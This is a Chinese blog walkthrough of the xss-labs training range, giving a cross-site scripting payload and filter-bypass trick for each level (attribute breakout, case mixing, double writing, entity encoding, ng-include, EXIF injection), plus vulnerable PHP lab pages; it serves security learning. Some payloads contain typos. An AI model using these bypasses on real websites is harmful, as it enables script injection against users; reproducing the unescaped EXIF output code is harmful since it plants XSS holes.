xss-labs靶场全通关
level 1
很简单的payload

http://172.22.6.165:91/level1.php?name=<script>alert(1)</script>

level 2

<h1 align=center>欢迎来到level2</h1>
<h2 align=center>没有找到和1相关的结果.</h2><center>
<form action=level2.php method=GET>
<input name=keyword value="1">
<input type=submit name=submit value="搜索"/>
</form>
</center><center><img src=level2.png></center>
<h3 align=center>payload的长度:1</h3></body>
</html>
f12查看网站源码 看到 输入的值被当作value传入
用 "> 闭合掉前面的尖括号
payload:
level2.php?keyword="><script>alert(1)</script>submit=

level 3
使用htmlspecialchars函数把预定义的字符&、”、 ’、<、>转换为HTML实体,防止浏览器将其作为HTML元素
但是默认是只编码双引号的,而且单引号无论如何都不转义。
htmlspecialchars() 函数把预定义的字符转换为 HTML 实体。
| 原始字符 | 转义后的 HTML 实体 | 转义目的 |
|---|---|---|
| & | & | 防止用于拼接其他 HTML 实体 |
| < | < | 防止 HTML 标签的注入 |
| > | > | 防止 HTML 标签的闭合 |
| " | " | 防止在双引号包裹的 HTML 属性中跳出 |

鼠标点击
payload:
'onclick'=alert(1)
点击一下输入框

level 4
在上一关的基础上 多了< 尖括号的过滤
str_replace(">","",$str); 查找字符串是否有>号,有则替换为空
payload:
" onclick="alert(1)

level 5 (javascript伪协议标签)

注入鼠标事件 发现 鼠标事件也被过滤了 那么需要使用a标签的JavaScript伪协议实现href属性支持JavaScript:伪协议,则:后面的代码会被当成JavaScript来执行。注意这里还需要闭合input标签。
payload:
"><a href=javascript:alert(1)>


常见的js语句
<script>alert(1)</script>
<img src=ganyu οnerrοr=alert(1)>
<svg οnlοad=alert(1)>
<a herf=javascript:alert(1)>
<iframe src="javascript:alert(1)"></iframe>
level 6(大小写绕过)

注释一段js 发现 herf被下划线了 查看了一下源码,src、data、on都被过滤了。但是大小写没有过滤,可通过大小写进行绕过
payload:
"><a HrEf=javascript:alert(1)>

level 7(双写绕过)

正常注入,直接替换为空了,那么其他的也都替换了,大小写也被过滤了。这里因为是替换为空字符,我们可以通过双写注入进行绕过。
payload:
观察必和条件 为双引号"
"oonnclick="alert(1)

level 8(unicode 编码)
预定义字符被转义,其他属性也不是被过滤成空字符了,那么就不能使用双写注入了。
我们在输入框输入的内容,会被带入到友情链接href属性中,那我们是不是可以直接输入javascript:alert(1),点击友情链接不就可以了嘛。当我们输入后发现javascript被过滤了。只能使用HTML实体编码(即Unicode编码)绕过了。
payload:
javascript:alert(1)

level 9
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level10.php?keyword=well done!";
}
</script>
<title>欢迎来到level9</title>
</head>
<body>
<h1 align=center>欢迎来到level9</h1>
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','"',$str6);
echo '<center>
<form action=level9.php method=GET>
<input name=keyword value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
if(false===strpos($str7,'http://'))
{
echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>';
}
else
{
echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
}
?>
<center><img src=level9.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str7)."</h3>";
?>
</body>
</html>
strpos( $ str7, ‘http://’)函数用于在字符串中查找子字符串http://的位置。
如果找到了子字符串,则返回子字符串的起始位置(也就是一个非负整数值)。
如果没有找到子字符串,则返回false。 false===strpos($str7,‘http://’)
如果strpos( $ str7, ‘http://’)的返回值为false且类型为布尔值(即完全相等),则条件成立。

随便注入发现 链接不合法
添加http:// 让变得合法 也得Unicode编码一下
payload
javascript:alert(1)//http://

level 10

随便传一个参数 试试
只有 sort value值返回
尖括号是被过滤的 所以用鼠标事件
payload:
level10.php?keyword=1&t_sort="onclick="alert(1)


level 11

观察源码
ref值为 上关通关的页面地址
再次传参 发现 value被过滤


抓包看看

payload
"onclick="alrt(1)
" type="text" onmousemove="alert(1)

level 12

源码有ua头信息 抓包一下试试


level 13

估计是cookie注入

" type="text" onmousemove="alert(1)
level 14(图片的exif信息)
上传图片 源地址不可用 自己写了一个
<?php
// 处理图片上传和EXIF信息提取
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['image'])) {
$uploadDir = 'uploads/';
if (!file_exists($uploadDir)) {
mkdir($uploadDir, 0755, true);
}
$fileName = basename($_FILES['image']['name']);
$targetFile = $uploadDir . uniqid() . '_' . $fileName;
$uploadOk = true;
// 检查文件类型
$imageFileType = strtolower(pathinfo($targetFile, PATHINFO_EXTENSION));
$allowedTypes = ['jpg', 'jpeg', 'png'];
if (!in_array($imageFileType, $allowedTypes)) {
echo "<div class='error'>只支持JPG、JPEG和PNG格式</div>";
$uploadOk = false;
}
// 检查文件大小 (5MB以内)
if ($_FILES['image']['size'] > 5000000) {
echo "<div class='error'>文件大小不能超过5MB</div>";
$uploadOk = false;
}
// 上传文件
if ($uploadOk && move_uploaded_file($_FILES['image']['tmp_name'], $targetFile)) {
// 读取EXIF数据
if (function_exists('exif_read_data')) {
$exif = exif_read_data($targetFile, 0, true);
if ($exif) {
$exifData = "<h3>EXIF信息</h3><table>";
foreach ($exif as $key => $section) {
foreach ($section as $name => $val) {
if (!is_array($val) && trim($val) !== '') {
$exifData .= "<tr><td><strong>$key.$name</strong></td><td>$val</td></tr>";
}
}
}
$exifData .= "</table>";
} else {
$exifData = "<p>未检测到EXIF信息或无法读取</p>";
}
} else {
$exifData = "<p>服务器不支持EXIF读取功能</p>";
}
} else {
echo "<div class='error'>文件上传失败</div>";
}
}
?>
<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>图片EXIF信息查看器</title>
<style>
* {
box-sizing: border-box;
margin: 0;
padding: 0;
font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
}
body {
background: linear-gradient(135deg, #f5f7fa 0%, #c3cfe2 100%);
min-height: 100vh;
display: flex;
justify-content: center;
align-items: center;
padding: 20px;
}
.container {
background: white;
border-radius: 12px;
box-shadow: 0 10px 30px rgba(0, 0, 0, 0.1);
width: 90%;
max-width: 800px;
padding: 30px;
}
h1 {
text-align: center;
color: #2c3e50;
margin-bottom: 20px;
font-size: 28px;
}
.upload-form {
background: #f8f9fa;
padding: 25px;
border-radius: 8px;
margin-bottom: 30px;
border: 2px dashed #ced4da;
}
.form-group {
margin-bottom: 20px;
}
label {
display: block;
margin-bottom: 8px;
font-weight: 600;
color: #495057;
}
input[type="file"] {
width: 100%;
padding: 12px;
border: 1px solid #ced4da;
border-radius: 4px;
background: white;
}
button {
background: #3498db;
color: white;
border: none;
padding: 12px 24px;
border-radius: 4px;
cursor: pointer;
font-size: 16px;
font-weight: 600;
width: 100%;
transition: background 0.3s;
}
button:hover {
background: #2980b9;
}
.exif-results {
margin-top: 30px;
padding: 20px;
background: #f8f9fa;
border-radius: 8px;
}
table {
width: 100%;
border-collapse: collapse;
margin-top: 15px;
}
th, td {
padding: 12px 15px;
text-align: left;
border-bottom: 1px solid #ddd;
}
th {
background-color: #3498db;
color: white;
}
tr:nth-child(even) {
background-color: #f2f2f2;
}
.error {
background: #ffebee;
color: #c62828;
padding: 12px;
border-radius: 4px;
margin: 15px 0;
border-left: 4px solid #c62828;
}
.success {
background: #e8f5e9;
color: #2e7d32;
padding: 12px;
border-radius: 4px;
margin: 15px 0;
border-left: 4px solid #2e7d32;
}
@media (max-width: 600px) {
.container {
padding: 15px;
}
h1 {
font-size: 24px;
}
th, td {
padding: 8px 10px;
}
}
</style>
</head>
<body>
<div class="container">
<h1>图片EXIF信息查看器</h1>
<div class="upload-form">
<form action="" method="post" enctype="multipart/form-data">
<div class="form-group">
<label for="image">选择图片文件 (JPG, JPEG, PNG)</label>
<input type="file" name="image" id="image" accept="image/jpeg,image/png" required>
</div>
<button type="submit">提取EXIF信息</button>
</form>
</div>
<?php
if (isset($exifData)) {
echo "<div class='exif-results'>";
if (isset($uploadOk) && $uploadOk) {
echo "<div class='success'>图片上传成功!EXIF信息如下:</div>";
}
echo $exifData;
echo "</div>";
}
?>
</div>
</body>
</html>

上传图片可以看到 exif信息
修改图片信息

再次上传就能看到了

level 15(ng-include)

ng-include相当于php的include函数,所以我们包含一个有XSS漏洞的URL就可触发这里的XSS
payload:
http://127.0.0.1:91/level15.php?src='level1.php?name=<img src=x onerror=alert(1)>'
level 16 _0a代替空格
其中将script,空格,Tab,/全部替换,我们使用img绕过,空格用%0a替换。
payload:
http://127.0.0.1:91/level16.php?keyword=<img%0asrc=x%0aonerror=alert(1)>

level 17 (flash_xss)
这关的本意是用swf文件去传参 但博主没有flash 搞得也挺麻烦的 再者flash的xss漏洞几乎见不到了
用闭合也能过

payload:
http://127.0.0.1:91/level17.php?arg01=a&arg02=" onmouseover=alert(1)
level18
和17一样
payload:
http://127.0.0.1:91/level19.php?arg01=a&arg02=" onmouseover=alert(1)

更多推荐

所有评论(0)